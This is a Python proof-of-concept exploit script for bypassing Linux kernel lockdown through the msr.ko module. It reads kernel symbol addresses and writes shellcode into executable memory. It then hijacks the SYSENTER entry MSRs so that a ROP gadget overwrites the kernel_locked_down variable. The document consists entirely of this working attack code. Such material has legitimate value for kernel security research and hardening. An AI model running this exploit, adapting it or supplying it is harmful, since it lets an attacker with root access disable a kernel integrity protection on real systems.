msr.ko Linux kernel lockdown bypass PoC

expl_msr_ko.py

import sys, os, mmap, subprocess
from struct import pack, unpack
from ctypes import *

IA32_SYSENTER_ESP = 0x175
IA32_SYSENTER_EIP = 0x176

class PyObj(Structure):
    
    _fields_ = [( 'ob_refcnt', c_size_t ),
                ( 'ob_type', c_void_p )]
    
# ctypes object for introspection
class PyMmap(PyObj):
    
    _fields_ = [( 'ob_addr', c_size_t )]

# class that inherits mmap.mmap and has the page address
class Mmap(mmap.mmap):
    
    def __init__(self, *args, **kwarg):
        
        # get the page address by introspection of the native structure
        m = PyMmap.from_address(id(self))
        self.addr = m.ob_addr

def kallsyms_get(name):

    with open('/proc/kallsyms', 'rb') as fd:

        line = fd.readline()

        while line:

            # parse symbol information
            sym_addr, _, sym_name = line.strip().split(' ')
            if sym_name == name:
            
                return int('0x' + sym_addr, 16)
            
            line = fd.readline()

    return None

def set_affinity(mask):
    
    # load libc
    libc = cdll.LoadLibrary('libc.so.6')
    
    mask = c_ulong(mask)
    
    # execute sched_setaffinity()
    return libc.sched_setaffinity(0, sizeof(c_ulong), pointer(mask))

def run_process(cmd):

    # run process
    p = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)
    data = p.communicate()[0]
    
    # return exit code and stdout
    return p.returncode, data

def sysctl_set(name, val):

    # execute sysctl
    code, _ = run_process('sysctl %s=%s' % (name, val))

    # check status
    return code == 0

def sysctl_get(name):
    
    # execute sysctl
    code, data = run_process('sysctl %s' % name)
    
    # check status
    if code == 0:

        # parse returned string
        return int(data.strip().split(' ')[2])

    return None

def msr_write(msr, val):

    try:
    
        with open('/dev/cpu/0/msr', 'wb') as fd:
        
            # write MSR value
            fd.seek(msr)
            fd.write(pack('Q', val))
        
            return True

    except IOError, e:

        return False

def msr_read(msr):
    
    try:
        
        with open('/dev/cpu/0/msr', 'rb') as fd:
            
            fd.seek(msr)
        
            # read MSR value
            return unpack('Q', fd.read(8))[0]

    except IOError, e:

        return None

def tune_process():

    # run current process on 1-st CPU only
    set_affinity(1)
    
    # set maximum priority
    os.nice(-20)

def main():
    
    val_locked = 0 if len(sys.argv) < 2 else int(sys.argv[1])

    alloc = lambda size: Mmap(-1, size, prot = mmap.PROT_WRITE | mmap.PROT_EXEC,
                                        flags = mmap.MAP_ANON | mmap.MAP_PRIVATE)

    # use init_ipc_ns->shm_ctlall as kernel stack
    rsp = kallsyms_get('init_ipc_ns')
    if rsp is None:
        
        print('ERROR: Unable to find init_ipc_ns')
        return -1

    # shm_ctlall field offset
    rsp += 0x2d8

    print('[+] RSP value is 0x%x' % rsp)

    addr_sysret = kallsyms_get('entry_INT80_compat')
    if addr_sysret is None:
        
        print('ERROR: Unable to find entry_INT80_compat')
        return -1

    addr_sysret -= 2

    print('[+] SYSRET is at 0x%x' % addr_sysret)

    # get original kernel.shmall value
    orig_shmall = sysctl_get('kernel.shmall')
    if orig_shmall is None:
    
        print('ERROR: Unable to get kernel.shmall')
        return -1
    
    print('[+] kernel.shmall original value is 0x%x' % orig_shmall)
    
    # set return to sysret address
    if not sysctl_set('kernel.shmall', addr_sysret):
    
        print('ERROR: Unable to set kernel.shmall')
        return -1
    
    # allocate executable memory page
    mem = alloc(0x1000)
    
    print('[+] Executable memory allocated at 0x%x' % mem.addr)
    
    addr_locked = kallsyms_get('kernel_locked_down')
    if addr_locked is None:
        
        print('ERROR: Unable to find kernel_locked_down')
        return -1
    
    print('[+] kernel_locked_down is at 0x%x' % addr_locked)

    mem.write('\x48\xb8' + pack('Q', val_locked) +      # mov rax, value
              '\x48\xb9' + pack('Q', addr_locked) +     # mov rcx, kernel_locked_down
              '\x0f\x34' +                              # sysenter
              '\xcc')                                   # int 3

    addr_ret = kallsyms_get('xen_set_debugreg')
    if addr_ret is None:
        
        print('ERROR: Unable to find xen_set_debugreg')
        return -1

    '''
        xen_cpuid() ROP gadged address:
        
            mov     [rcx], eax
            retn
    '''
    addr_ret -= 8
    
    print('[+] RET is at 0x%x' % addr_ret)

    if os.system('modprobe msr') != 0:

        print('ERROR: Unable to load msr.ko')
        return -1

    # save original MSR values
    orig_eip = msr_read(IA32_SYSENTER_EIP)
    orig_esp = msr_read(IA32_SYSENTER_ESP)

    print('[+] Original IA32_SYSENTER_EIP is 0x%x' % orig_eip)
    print('[+] Original IA32_SYSENTER_ESP is 0x%x' % orig_esp)

    tune_process()
    
    # overwrite syscall entry
    if not msr_write(IA32_SYSENTER_EIP, addr_ret):

        print('ERROR: Unable to set IA32_SYSENTER_EIP')
        return -1

    # overwrite kernel stack address
    if not msr_write(IA32_SYSENTER_ESP, rsp):

        print('ERROR: Unable to set IA32_SYSENTER_ESP')
        return -1

    pid = os.fork()
    if pid == 0:
        
        tune_process()

        # perform syscall
        f = CFUNCTYPE(c_int)(mem.addr)
        f()

        exit(0)

    # wait for the child process termination
    pid, status = os.waitpid(pid, 0)

    # restore original MSR values
    msr_write(IA32_SYSENTER_EIP, orig_eip)
    msr_write(IA32_SYSENTER_ESP, orig_esp)

    # restore original kernel.shmall
    sysctl_set('kernel.shmall', orig_shmall)

    print('PID = %d, status = %d' % (pid, status))
    print('[+] Done')

    return 0

if __name__ == '__main__':

    exit(main())

#
# EoF
#